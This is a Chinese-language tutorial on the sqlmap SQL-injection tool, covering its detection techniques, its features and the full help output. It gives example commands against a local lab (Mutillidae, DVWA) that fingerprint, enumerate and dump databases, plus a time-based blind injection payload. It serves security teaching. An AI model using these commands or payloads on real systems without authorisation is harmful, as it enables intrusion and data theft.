1. SQLmap工具簡介
- SQLmap是一款開源的SQL注入漏洞檢測、利用工具；
- 可以檢測動態頁面中get/post參數、cookie、http頭；
- 它由Python語言開發而成，運行需要安裝python環境；
- 在kali中已經集成，其功能完善，適用幾乎所有數據庫，可自動進行數據榨取；
- 可以獲取數據庫指紋信息、訪問底層文件系統、執行操作系統命令；
- 也可以做XSS漏洞檢測；
注意：sqlmap是用來檢測和利用sql注入點的，並不能掃描出網站有哪些漏洞，所以使用前先找出sql注入點。
2. SQLmap基於五種漏洞檢測技術
（注：無論哪種檢測，都是爲了證明目標存在SQL注入漏洞）
1、基於布爾的盲注檢測；
2、基於時間的盲注檢測；
'and (select*from (select(sleep(20)))a)--+
3、基於錯誤的檢測；
4、基於UNION聯合查詢的檢測；
適用於通過循環直接輸出聯合查詢結果，否則只顯示第一項結果
5、基於堆疊查詢的檢測；
通過分號（;）堆疊多個查詢語句
適用於非select的數據修改、刪除的操作
3. SQLmap支持的數據庫管理系統DBMS
MySQL、Oracle、PostgreSQL、Microsoft SQL Server, Microsoft Access，IBM DB2， SQLite，Firebird， Sybase ， SAP MaxDB
4. SQLmap的其他特性
1、數據庫直接連接 -d 【客戶端直接連接服務器端數據庫，鏈接賬戶信息】；
不通過SQL注入，但需要指定身份認證信息、IP、端口，可直接查看數據庫信息；
2、與burpsuite、Google結合使用，支持正則表達式限定測試目標；
3、Get、Post、Cookie、Referer、User-Agent(隨機或指定)；
支持掃描身份認證後的web application，認證成功後，服務器會返回cookie，SQLmap智能，Cookie過期後會自動處理Set-Cookie頭、更新Cookie信息【不用擔心掃描過程中，cookie過期】
4、限速：最大併發、延遲發送；
5、支持Basic，Digeset，NTLM，CA身份認證；
6、數據庫版本、用戶、權限、hash枚舉和字典破解、暴力破解表列名稱；
7、文件上傳下載、UDF、啓動並執行存儲過程、操作系統命令執行、訪問windows註冊表；
8、與W3af、metasploit集成結合使用，基於數據庫服務進程提權和上傳執行後門；
5. SQLmap安裝
【kali已集成，隨kali庫更新而更新】
其他linux系統安裝
- apt-get install git
- git clone https://github.com/sqlmapproject/sqlmap.git
升級
- sqlmap --update #在線更新
- git clone https://github.com/sqlmapproject/sqlmap.git #離線更新
- git pull
6. SQLmap自動注入01——Target
sqlmap的功能主要包括七大類，在下面的介紹中主要介紹第一類Target，後續文章中會介紹其他類的功能；
6.1> 功能詳情
sqlmap –h #常用參數列表
root@root:~# sqlmap -h
___
__H__
___ ___[']_____ ___ ___ {1.2.3#stable}
|_ -| . ['] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V |_| http://sqlmap.org
Usage: python sqlmap [options]
Options:
-h, --help Show basic help message and exit
-hh Show advanced help message and exit
--version Show program's version number and exit
-v VERBOSE Verbosity level: 0-6 (default 1)
Target:
At least one of these options has to be provided to define the
target(s)
-u URL, --url=URL Target URL (e.g. "http://www.site.com/vuln.php?id=1")
-g GOOGLEDORK Process Google dork results as target URLs
Request:
These options can be used to specify how to connect to the target URL
--data=DATA Data string to be sent through POST
--cookie=COOKIE HTTP Cookie header value
--random-agent Use randomly selected HTTP User-Agent header value
--proxy=PROXY Use a proxy to connect to the target URL
--tor Use Tor anonymity network
--check-tor Check to see if Tor is used properly
Injection:
These options can be used to specify which parameters to test for,
provide custom injection payloads and optional tampering scripts
-p TESTPARAMETER Testable parameter(s)
--dbms=DBMS Force back-end DBMS to this value
Detection:
These options can be used to customize the detection phase
--level=LEVEL Level of tests to perform (1-5, default 1)
--risk=RISK Risk of tests to perform (1-3, default 1)
Techniques:
These options can be used to tweak testing of specific SQL injection
techniques
--technique=TECH SQL injection techniques to use (default "BEUSTQ")
Enumeration:
These options can be used to enumerate the back-end database
management system information, structure and data contained in the
tables. Moreover you can run your own SQL statements
-a, --all Retrieve everything
-b, --banner Retrieve DBMS banner
--current-user Retrieve DBMS current user
--current-db Retrieve DBMS current database
--passwords Enumerate DBMS users password hashes
--tables Enumerate DBMS database tables
--columns Enumerate DBMS database table columns
--schema Enumerate DBMS schema
--dump Dump DBMS database table entries
--dump-all Dump all DBMS databases tables entries
-D DB DBMS database to enumerate
-T TBL DBMS database table(s) to enumerate
-C COL DBMS database table column(s) to enumerate
Operating system access:
These options can be used to access the back-end database management
system underlying operating system
--os-shell Prompt for an interactive operating system shell
--os-pwn Prompt for an OOB shell, Meterpreter or VNC
General:
These options can be used to set some general working parameters
--batch Never ask for user input, use the default behavior
--flush-session Flush session files for current target
Miscellaneous:
--sqlmap-shell Prompt for an interactive sqlmap shell
--wizard Simple wizard interface for beginner users
[!] to see full list of options run with '-hh'
sqlmap –hh #所有參數列表
root@root:~# sqlmap -hh
___
__H__
___ ___[']_____ ___ ___ {1.2.3#stable}
|_ -| . [)] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V |_| http://sqlmap.org
Usage: python sqlmap [options]
Options:
-h, --help Show basic help message and exit
-hh Show advanced help message and exit
--version Show program's version number and exit
-v VERBOSE Verbosity level: 0-6 (default 1)
Target:
At least one of these options has to be provided to define the
target(s)
-d DIRECT Connection string for direct database connection
-u URL, --url=URL Target URL (e.g. "http://www.site.com/vuln.php?id=1")
-l LOGFILE Parse target(s) from Burp or WebScarab proxy log file
-x SITEMAPURL Parse target(s) from remote sitemap(.xml) file
-m BULKFILE Scan multiple targets given in a textual file
-r REQUESTFILE Load HTTP request from a file
-g GOOGLEDORK Process Google dork results as target URLs
-c CONFIGFILE Load options from a configuration INI file
Request:
These options can be used to specify how to connect to the target URL
--method=METHOD Force usage of given HTTP method (e.g. PUT)
--data=DATA Data string to be sent through POST
--param-del=PARA.. Character used for splitting parameter values
--cookie=COOKIE HTTP Cookie header value
--cookie-del=COO.. Character used for splitting cookie values
--load-cookies=L.. File containing cookies in Netscape/wget format
--drop-set-cookie Ignore Set-Cookie header from response
--user-agent=AGENT HTTP User-Agent header value
--random-agent Use randomly selected HTTP User-Agent header value
--host=HOST HTTP Host header value
--referer=REFERER HTTP Referer header value
-H HEADER, --hea.. Extra header (e.g. "X-Forwarded-For: 127.0.0.1")
--headers=HEADERS Extra headers (e.g. "Accept-Language: fr\nETag: 123")
--auth-type=AUTH.. HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred=AUTH.. HTTP authentication credentials (name:password)
--auth-file=AUTH.. HTTP authentication PEM cert/private key file
--ignore-code=IG.. Ignore HTTP error code (e.g. 401)
--ignore-proxy Ignore system default proxy settings
--ignore-redirects Ignore redirection attempts
--ignore-timeouts Ignore connection timeouts
--proxy=PROXY Use a proxy to connect to the target URL
--proxy-cred=PRO.. Proxy authentication credentials (name:password)
--proxy-file=PRO.. Load proxy list from a file
--tor Use Tor anonymity network
--tor-port=TORPORT Set Tor proxy port other than default
--tor-type=TORTYPE Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default))
--check-tor Check to see if Tor is used properly
--delay=DELAY Delay in seconds between each HTTP request
--timeout=TIMEOUT Seconds to wait before timeout connection (default 30)
--retries=RETRIES Retries when the connection timeouts (default 3)
--randomize=RPARAM Randomly change value for given parameter(s)
--safe-url=SAFEURL URL address to visit frequently during testing
--safe-post=SAFE.. POST data to send to a safe URL
--safe-req=SAFER.. Load safe HTTP request from a file
--safe-freq=SAFE.. Test requests between two visits to a given safe URL
--skip-urlencode Skip URL encoding of payload data
--csrf-token=CSR.. Parameter used to hold anti-CSRF token
--csrf-url=CSRFURL URL address to visit to extract anti-CSRF token
--force-ssl Force usage of SSL/HTTPS
--hpp Use HTTP parameter pollution method
--eval=EVALCODE Evaluate provided Python code before the request (e.g.
"import hashlib;id2=hashlib.md5(id).hexdigest()")
Optimization:
These options can be used to optimize the performance of sqlmap
-o Turn on all optimization switches
--predict-output Predict common queries output
--keep-alive Use persistent HTTP(s) connections
--null-connection Retrieve page length without actual HTTP response body
--threads=THREADS Max number of concurrent HTTP(s) requests (default 1)
Injection:
These options can be used to specify which parameters to test for,
provide custom injection payloads and optional tampering scripts
-p TESTPARAMETER Testable parameter(s)
--skip=SKIP Skip testing for given parameter(s)
--skip-static Skip testing parameters that not appear to be dynamic
--param-exclude=.. Regexp to exclude parameters from testing (e.g. "ses")
--dbms=DBMS Force back-end DBMS to this value
--dbms-cred=DBMS.. DBMS authentication credentials (user:password)
--os=OS Force back-end DBMS operating system to this value
--invalid-bignum Use big numbers for invalidating values
--invalid-logical Use logical operations for invalidating values
--invalid-string Use random strings for invalidating values
--no-cast Turn off payload casting mechanism
--no-escape Turn off string escaping mechanism
--prefix=PREFIX Injection payload prefix string
--suffix=SUFFIX Injection payload suffix string
--tamper=TAMPER Use given script(s) for tampering injection data
Detection:
These options can be used to customize the detection phase
--level=LEVEL Level of tests to perform (1-5, default 1)
--risk=RISK Risk of tests to perform (1-3, default 1)
--string=STRING String to match when query is evaluated to True
--not-string=NOT.. String to match when query is evaluated to False
--regexp=REGEXP Regexp to match when query is evaluated to True
--code=CODE HTTP code to match when query is evaluated to True
--text-only Compare pages based only on the textual content
--titles Compare pages based only on their titles
Techniques:
These options can be used to tweak testing of specific SQL injection
techniques
--technique=TECH SQL injection techniques to use (default "BEUSTQ")
--time-sec=TIMESEC Seconds to delay the DBMS response (default 5)
--union-cols=UCOLS Range of columns to test for UNION query SQL injection
--union-char=UCHAR Character to use for bruteforcing number of columns
--union-from=UFROM Table to use in FROM part of UNION query SQL injection
--dns-domain=DNS.. Domain name used for DNS exfiltration attack
--second-order=S.. Resulting page URL searched for second-order response
Fingerprint:
-f, --fingerprint Perform an extensive DBMS version fingerprint
Enumeration:
These options can be used to enumerate the back-end database
management system information, structure and data contained in the
tables. Moreover you can run your own SQL statements
-a, --all Retrieve everything
-b, --banner Retrieve DBMS banner
--current-user Retrieve DBMS current user
--current-db Retrieve DBMS current database
--hostname Retrieve DBMS server hostname
--is-dba Detect if the DBMS current user is DBA
--users Enumerate DBMS users
--passwords Enumerate DBMS users password hashes
--privileges Enumerate DBMS users privileges
--roles Enumerate DBMS users roles
--dbs Enumerate DBMS databases
--tables Enumerate DBMS database tables
--columns Enumerate DBMS database table columns
--schema Enumerate DBMS schema
--count Retrieve number of entries for table(s)
--dump Dump DBMS database table entries
--dump-all Dump all DBMS databases tables entries
--search Search column(s), table(s) and/or database name(s)
--comments Retrieve DBMS comments
-D DB DBMS database to enumerate
-T TBL DBMS database table(s) to enumerate
-C COL DBMS database table column(s) to enumerate
-X EXCLUDE DBMS database identifier(s) to not enumerate
-U USER DBMS user to enumerate
--exclude-sysdbs Exclude DBMS system databases when enumerating tables
--pivot-column=P.. Pivot column name
--where=DUMPWHERE Use WHERE condition while table dumping
--start=LIMITSTART First dump table entry to retrieve
--stop=LIMITSTOP Last dump table entry to retrieve
--first=FIRSTCHAR First query output word character to retrieve
--last=LASTCHAR Last query output word character to retrieve
--sql-query=QUERY SQL statement to be executed
--sql-shell Prompt for an interactive SQL shell
--sql-file=SQLFILE Execute SQL statements from given file(s)
Brute force:
These options can be used to run brute force checks
--common-tables Check existence of common tables
--common-columns Check existence of common columns
User-defined function injection:
These options can be used to create custom user-defined functions
--udf-inject Inject custom user-defined functions
--shared-lib=SHLIB Local path of the shared library
File system access:
These options can be used to access the back-end database management
system underlying file system
--file-read=RFILE Read a file from the back-end DBMS file system
--file-write=WFILE Write a local file on the back-end DBMS file system
--file-dest=DFILE Back-end DBMS absolute filepath to write to
Operating system access:
These options can be used to access the back-end database management
system underlying operating system
--os-cmd=OSCMD Execute an operating system command
--os-shell Prompt for an interactive operating system shell
--os-pwn Prompt for an OOB shell, Meterpreter or VNC
--os-smbrelay One click prompt for an OOB shell, Meterpreter or VNC
--os-bof Stored procedure buffer overflow exploitation
--priv-esc Database process user privilege escalation
--msf-path=MSFPATH Local path where Metasploit Framework is installed
--tmp-path=TMPPATH Remote absolute path of temporary files directory
Windows registry access:
These options can be used to access the back-end database management
system Windows registry
--reg-read Read a Windows registry key value
--reg-add Write a Windows registry key value data
--reg-del Delete a Windows registry key value
--reg-key=REGKEY Windows registry key
--reg-value=REGVAL Windows registry key value
--reg-data=REGDATA Windows registry key value data
--reg-type=REGTYPE Windows registry key value type
General:
These options can be used to set some general working parameters
-s SESSIONFILE Load session from a stored (.sqlite) file
-t TRAFFICFILE Log all HTTP traffic into a textual file
--batch Never ask for user input, use the default behavior
--binary-fields=.. Result fields having binary values (e.g. "digest")
--check-internet Check Internet connection before assessing the target
--crawl=CRAWLDEPTH Crawl the website starting from the target URL
--crawl-exclude=.. Regexp to exclude pages from crawling (e.g. "logout")
--csv-del=CSVDEL Delimiting character used in CSV output (default ",")
--charset=CHARSET Blind SQL injection charset (e.g. "0123456789abcdef")
--dump-format=DU.. Format of dumped data (CSV (default), HTML or SQLITE)
--encoding=ENCOD.. Character encoding used for data retrieval (e.g. GBK)
--eta Display for each output the estimated time of arrival
--flush-session Flush session files for current target
--forms Parse and test forms on target URL
--fresh-queries Ignore query results stored in session file
--har=HARFILE Log all HTTP traffic into a HAR file
--hex Use DBMS hex function(s) for data retrieval
--output-dir=OUT.. Custom output directory path
--parse-errors Parse and display DBMS error messages from responses
--save=SAVECONFIG Save options to a configuration INI file
--scope=SCOPE Regexp to filter targets from provided proxy log
--test-filter=TE.. Select tests by payloads and/or titles (e.g. ROW)
--test-skip=TEST.. Skip tests by payloads and/or titles (e.g. BENCHMARK)
--update Update sqlmap
Miscellaneous:
-z MNEMONICS Use short mnemonics (e.g. "flu,bat,ban,tec=EU")
--alert=ALERT Run host OS command(s) when SQL injection is found
--answers=ANSWERS Set question answers (e.g. "quit=N,follow=N")
--beep Beep on question and/or when SQL injection is found
--cleanup Clean up the DBMS from sqlmap specific UDF and tables
--dependencies Check for missing (non-core) sqlmap dependencies
--disable-coloring Disable console output coloring
--gpage=GOOGLEPAGE Use Google dork results from specified page number
--identify-waf Make a thorough testing for a WAF/IPS/IDS protection
--mobile Imitate smartphone through HTTP User-Agent header
--offline Work in offline mode (only use session data)
--purge-output Safely remove all content from output directory
--skip-waf Skip heuristic detection of WAF/IPS/IDS protection
--smart Conduct thorough tests only if positive heuristic(s)
--sqlmap-shell Prompt for an interactive sqlmap shell
--tmp-dir=TMPDIR Local directory for storing temporary files
--web-root=WEBROOT Web server document root directory (e.g. "/var/www")
--wizard Simple wizard interface for beginner users
6.2> 常用參數示例
（1） -p：指定檢查變量；-f：檢查數據庫指紋信息；
sqlmap -u "http://192.168.37.135/mutillidae/index.php?page=user-info.php&username=1&password=1&user-info-php-submit-button=View+Account+Details" -p username -f
（2）--users：查當前的數據庫賬戶；
sqlmap -u "http://192.168.37.135/mutillidae/index.php?page=user-info.php&username=11&password=11&user-info-php-submit-button=View+Account+Details" -p username --users
（3）--banners：查看數據庫的版本信息；
sqlmap -u "http://192.168.37.135/mutillidae/index.php?page=user-info.php&username=11&password=11&user-info-php-submit-button=View+Account+Details" -p username --banner
（4）--dbs：查看目標數據庫管理系統中有哪些數據庫；
sqlmap -u "http://192.168.37.135/mutillidae/index.php?page=user-info.php&username=11&password=11&user-info-php-submit-button=View+Account+Details" -p username --dbs
（5）--schema：查看原數據庫【前提：當前數據庫賬戶有權限去查詢原數據庫】；
sqlmap -u "http://192.168.37.135/mutillidae/index.php?page=user-info.php&username=11&password=11&user-info-php-submit-button=View+Account+Details" -p username --schema
（6）-a：可以查詢所有能查的信息；【發現哈希值，就會嘗試去破解】
sqlmap -u "http://192.168.37.135/mutillidae/index.php?page=user-info.php&username=11&password=11&user-info-php-submit-button=View+Account+Details" -p username -a
6.3> SQLmap自動注入01——Target
Target:
At least one of these options has to be provided to define the
target(s)
-d DIRECT Connection string for direct database connection
#直接連接數據庫服務
-u URL, --url=URL Target URL (e.g. "http://www.site.com/vuln.php?id=1")
#目標url，一定要存在參數變量
-l LOGFILE Parse target(s) from Burp or WebScarab proxy log file
#從Burp或WebScarab代理日誌文件中解析目標，對裏面的URL，逐個進行檢查，判斷是否有注入點
-x SITEMAPURL Parse target(s) from remote sitemap(.xml) file
#從遠程站點地圖(.xml)文件中解析目標
-m BULKFILE Scan multiple targets given in a textual file
#掃描文本文件中給定的多個目標
-r REQUESTFILE Load HTTP request from a file
#從文件中加載HTTP請求
-g GOOGLEDORK Process Google dork results as target URLs
#處理作爲目標url的谷歌dork結果
-c CONFIGFILE Load options from a configuration INI file
#從配置INI文件中加載選項
6.4> SQLmap自動注入01——Target【示例】
（1）-d：前提有數據庫管理系統的賬號密碼 【速度快】
【不是通過SQL注入漏洞來連接數據庫，而是把SQLmap本身作爲一個數據庫的客戶端程序來直接連接數據庫的IP地址和端口】
sqlmap –d “mysql://user:password@192.168.37.135:3306/dvwa” -f
（2）-m：掃描多個URL列表文件
sqlmap –m list.txt
- http://1.1.1.1/vuln1.php?q=foobar
- http://1.1.1.1/vuln3/id/1*
（3）-g：掃描Google搜索結果【需要做代理鏈】
sqlmap.py –g “inurl:\”.php?id=1\””
（4）POST方法
使用http請求文件（burpsuite）：sqlmap –r request.txt
#將burpsuite中截獲的http請求複製黏貼成一個文本文件request.txt；
（5） HTTPS
sqlmap –u https://1.1.1.1/a.php?id=1:443 --force-ssl 【通過https來和目標服務器進行交互】
（6） 掃描配置文件
可將掃描參數集成爲一個配置文件：sqlmap -c sqlmap.conf
默認的配置文件： /etc/sqlmap/sqlmap.conf